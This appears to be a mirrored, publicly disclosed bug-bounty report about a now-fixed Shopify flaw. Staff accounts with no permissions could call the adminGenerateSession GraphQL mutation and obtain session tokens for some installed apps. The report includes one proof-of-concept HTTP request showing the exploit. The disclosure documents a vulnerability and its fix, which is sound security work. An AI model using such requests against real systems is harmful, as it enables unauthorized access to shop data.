HexBrain

Shopify · Report #898528

GraphQL AdminGenerateSessionPayload is leaked to staff with no permission

Validstatus
mediumseverity
173upvotes
16 Jul 2020disclosed

Summary

@hiffley reported the ability to generate app tokens via the adminGenerateSession mutation in Shopify Admin, as a staff member with no permissions. This allowed for accessing a small subset of installed apps that are using this new flow (including Shopify Email). Access was limited to the current shop. We fixed this by adding a check for Apps permission to this mutation.

This is a limited disclosure at the request of @hiffley.

POC request:

POST /admin/internal/web/graphql/core HTTP/1.1
Host: blabla.myshopify.com
Content-Length: 225

{"operationName":"GenerateSessionToken","variables":{"appId":"gid://shopify/App/"},"query":"mutation GenerateSessionToken($appId: ID!) {\n  adminGenerateSession(appId: $appId) {\n    session\n    __typename\n  }\n}\n"}

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original